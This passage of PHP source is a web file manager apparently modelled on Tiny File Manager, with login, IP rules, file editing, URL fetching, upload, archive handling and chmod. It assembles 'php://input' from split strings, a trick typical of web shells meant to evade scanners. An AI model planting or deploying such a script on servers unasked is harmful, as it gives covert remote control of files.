$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
